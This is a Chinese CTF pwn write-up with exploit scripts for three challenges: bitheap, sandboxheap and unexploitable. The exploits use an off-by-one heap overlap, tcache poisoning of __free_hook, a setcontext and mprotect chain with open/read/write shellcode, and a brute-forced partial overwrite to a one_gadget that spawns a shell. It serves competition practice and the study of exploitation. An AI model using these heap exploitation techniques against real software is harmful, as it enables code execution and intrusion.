1. bitheap
2.27
限制数量0xf、限制大小0x200、无UAF
add:存在一个off-by-one
edit:输入内容时,edit会把2进制转成16进制然后按位取反
for i in range(12):
add(i,0xf8)
for i in range(7):
delete(i)
for i in range(7):
add(i,0x1f8) #5+7
for i in range(7):
delete(i)
delete(7)
con = fill_chunk(0xf0)
con += decode64(0x400)
con += b'\n'
edit(10,con)
开始构造unlink
关键堆块chunk7-950,填充chunk10-c50伪造大小0x400,并利用off-by-null将chunk11-d50的P位置0
delete(11)
free chunk11使伪造的chunk10和11、chunk9合并成0x500大小的free_chunk,我们将正常的chunk8、9一并unlink,等后期利用
同时,这个0x500大小的free_chunk被放入了unsortbin中,可通过分割来获取libc基址
add(0,0x78)
show(0)
获取libc基址
for i in range(3):
add(i+1,0x100)
# chunk1 —> 9d0
for i in range(2):
add(i+4,0xf8)
#为chunk8放入tcachebin留空
delete(8)
将利用chunk8放入tcachebin,而chunk8_a60的前部分是在chunk1_9d0里的,这意味着我们可以修改chunk8的fd指针来指向我们想去的地址,如free_hook
con = fill_chunk(0x70)
con += decode64(0)
con += decode64(0x100)
#保持chunk8除fd外不变
con += decode64(free_hook)
edit(1,con)
add(6,0xf8)
#去chunk8
add(7,0xf8)
#嗨嗨
edit(7,decode64(system_add))
edit(4,decode64(0x68732f6e69622f))
好耶
感谢师傅的exp,咕
def choice(cho):
sla('Your choice:',cho)
def add(idx,size):
choice(add_idx)
sla('Index:',idx)
sla('Size:',size)
def edit(idx,content):
choice(edit_idx)
sla('Index: ',idx)
p.sendlineafter('Content:',content)
def show(idx):
choice(show_idx)
sla('Index: ',idx)
def delete(idx):
choice(delete_idx)
sla('Index:',idx)
'''
add(0,0xf8)
add(1,0xf8)
delete(1)
delete(0)
add(0,0xf8)
show(0)
heap_base = u64(p.recvuntil(b'\x55')[-6:].ljust(8,b'\x00')) -0x360
ru('\x0a')
li('heap_base = '+hex(heap_base))
delete(0)
for i in range(7):
add(i,0xf8) #0-6
add(7,0xf8) #7
add(8,0xf8) #8
add(9,0xf8) #9
for i in range(7):
delete(i)
delete(8)
delete(7) #7+8
add(7,0x10)
show(7)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) -0x3ebe90
li('libc_base = '+hex(libc_base))
'''
def decode_bits(s):
con = bin(s).replace('0b','').rjust(8,"\x00")
con = con[::-1]
return con.encode()
def decode64(s):
con = b''
con += decode_bits(s & 0xff)
con += decode_bits((s & 0xffff) >> 0x8)
con += decode_bits((s & 0xffffff) >> 0x10)
con += decode_bits((s & 0xffffffff) >> 0x18)
con += decode_bits((s & 0xffffffffff) >> 0x20)
con += decode_bits((s & 0xffffffffffff) >> 0x28)
con += decode_bits((s & 0xffffffffffffff) >> 0x30)
con += decode_bits((s & 0xffffffffffffffff) >> 0x38)
return con
def fill_chunk(size):
con = b""
for i in range(size // 8):
con += decode64(0x6161616161616161)
return con
for i in range(12):
add(i,0xf8)
for i in range(7):
delete(i)
add(13,0x10)
delete(7)
con = fill_chunk(0xf0)
con += decode64(0x400)
con += b'\n'
edit(10,con)
delete(11) #500
#dbg()
add(0,0x78)
show(0)
libc_base = uu64(p.recvuntil(b'\x7f')[-6:])-0x3ec0d0
li('libc = '+hex(libc_base))
system_add = libc_base + libc.sym['system']
binsh_add = libc_base + next(libc.search(b'/bin/sh'))
li(hex(binsh_add))
free_hook = libc_base + libc.sym['__free_hook']
for i in range(3):
add(i+1,0x100)
for i in range(2):
add(i+4,0xf8)
delete(8)
con = fill_chunk(0x70)
con += decode64(0)
con += decode64(0x100)
con += decode64(free_hook)
edit(1,con)
add(6,0xf8)
add(7,0xf8)
edit(7,decode64(system_add))
edit(4,decode64(0x68732f6e69622f))
delete(4)
2. sandboxheap
相较前面开了沙箱,orw读取flag
add(0,0x80)
add(1,0x18)
add(2,0xf0)
for i in range(7):
add(i+3,0x80)
for i in range(7):
delete(i+3)
for i in range(7):
add(i+3,0xf0)
for i in range(7):
delete(i+3)
chunk0、1、2合并
delete(0)
A_bin = b"10000010"
padding = encode(0x41)*0x10 + encode(0xb0) + encode(0)*8
edit(1,padding)
delete(2)
前后
add(0,0xa0)
show(0)
libc_base = uu64(p.recvuntil(b'\x7f')[-6:]) - 0x3ebe40
li('libc_base = '+hex(libc_base))
delete(1) #malloc_hook 1
pl = A_bin*0x80 + encode(0x90)+encode(0)*7 + encode(0x20)+encode(0)*7 + encode(free_hook)
edit(0,pl)
free_hook
add(6,0x18)
add(7,0x18)
edit(7,encode(setcontext+61))
setcontext+61
for i in range(9,16):
add(i,0x200)
buf_addr = libc_base+0x3ecb00 #archive_stat+64
li('buf_addr = '+hex(buf_addr))
f1 = b""
f1 += encode(0)*0x68+encode64(0)+encode64(buf_addr)
f1 += encode64(0)*2+encode64(0x10000)+encode64(read_addr)*18
f1 += encode64(0x40000)+encode64(0x40000)
edit(9,f1)
delete(9)
shellcode='''
mov edi,3
mov eax,0x2710
syscall
mov eax,0x67616c66 ;//flag
push rax
mov rdi,rsp
xor eax,eax
mov esi,eax
mov al,2
syscall ;//open
push rax
mov rsi,rsp
xor eax,eax
mov edx,eax
inc eax
mov edi,eax
mov dl,8
syscall ;// write open() return value
pop rax
test rax,rax
js over
mov edi,eax
mov rsi,rsp
mov edx,0x01010201
sub edx,0x01010101
xor eax,eax
syscall ;// read
mov edx,eax
mov rsi,rsp
xor eax,eax
inc eax
mov edi,eax
syscall ;// write
over:
xor edi, edi
mov eax,0x010101e8
sub eax,0x01010101
syscall ;// exit
'''
p.send(asm(shellcode))
f1 = b""
f1 += encode(0)*0x68+encode64(buf_addr-0xb00)+encode64(0x1000) #e000-f000
f1 += encode64(0)*2+encode64(7)+encode64(mprotect)*18
f1 += encode64(0x400000)+encode64(0x400000)
edit(10,f1)
mprotect改权限
delete(10)
edit(7,encode64(buf_addr))
sla(':','4')
sla(':',str(7))
ni
add(0,0x80)
add(1,0x18)
add(2,0xf0)
for i in range(7):
add(i+3,0x80)
for i in range(7):
delete(i+3)
for i in range(7):
add(i+3,0xf0)
for i in range(7):
delete(i+3)
delete(0)
A_bin = b"10000010"
padding = encode(0x41)*0x10 + encode(0xb0) + encode(0)*8
edit(1,padding)
delete(2)
add(0,0xa0)
show(0)
libc_base = uu64(p.recvuntil(b'\x7f')[-6:]) - 0x3ebe40
li('libc_base = '+hex(libc_base))
system_add = libc_base + libc.sym['system']
binsh_add = libc_base + next(libc.search(b'/bin/sh'))
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']
read_addr = libc_base + libc.sym['read']
'''
0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
onegad = [0x4f2a5,0x4f302,0x10a2fc]
one = libc_base + onegad[2]
li('one = '+hex(one))
delete(1) #malloc_hook 1
pl = A_bin*0x80 + encode(0x90)+encode(0)*7 + encode(0x20)+encode(0)*7 + encode(free_hook)
edit(0,pl)
add(6,0x18)
add(7,0x18) #2e0
edit(7,encode(setcontext+61))
for i in range(9,16):
add(i,0x200)
buf_addr = libc_base+0x3ecb00 #archive_stat+64
li('buf_addr = '+hex(buf_addr))
f1 = b""
f1 += encode(0)*0x68+encode64(0)+encode64(buf_addr)
f1 += encode64(0)*2+encode64(0x1000)+encode64(read_addr)*18
f1 += encode64(0x400000)+encode64(0x400000)
edit(9,f1)
delete(9)
shellcode='''
mov edi,3
mov eax,0x2710
syscall
mov eax,0x67616c66 ;//flag
push rax
mov rdi,rsp
xor eax,eax
mov esi,eax
mov al,2
syscall ;//open
push rax
mov rsi,rsp
xor eax,eax
mov edx,eax
inc eax
mov edi,eax
mov dl,8
syscall ;// write open() return value
pop rax
test rax,rax
js over
mov edi,eax
mov rsi,rsp
mov edx,0x01010201
sub edx,0x01010101
xor eax,eax
syscall ;// read
mov edx,eax
mov rsi,rsp
xor eax,eax
inc eax
mov edi,eax
syscall ;// write
over:
xor edi, edi
mov eax,0x010101e8
sub eax,0x01010101
syscall ;// exit
'''
p.send(asm(shellcode))
f1 = b""
f1 += encode(0)*0x68+encode64(buf_addr-0xb00)+encode64(0x1000)
f1 += encode64(0)*2+encode64(7)+encode64(mprotect)*18
f1 += encode64(0x400000)+encode64(0x400000)
edit(10,f1)
delete(10)
edit(7,encode64(buf_addr))
sla(':','4')
dbg()
sla(':',str(7))
3. unexploitable
ret与libc_start_main+231相距0x10
改ret的最后一字节为0xD1,就能ret到libc_start_main+231,然后改其为og,需要来爆破3位
有,但没啥可用的
exp:
def pwn():
payload=b'a'*0x18+p8(0xd1)
p.send(payload)
p.recvrepeat(0.1)
og = random.randint(0,0xfff)*0x1000+0x4f302
payload2=b'a'*0x18+p32(og)[:3]
p.send(payload2)
sleep(0.1)
i = 0
while True:
p=process('./unexploitable')
li('try:'+str(i))
try:
pwn()
p.sendline("ls")
r=p.recv(timeout=0.2)
assert len(r) > 0
p.sendline("cat flag")
r=p.recv()
print(r)
irt()
except Exception as e:
p.close()
i += 1
运气不错
标签:libc,mov,eax,add,复现,2022,pwn,delete,con From: https://www.cnblogs.com/shuzM/p/16871695.html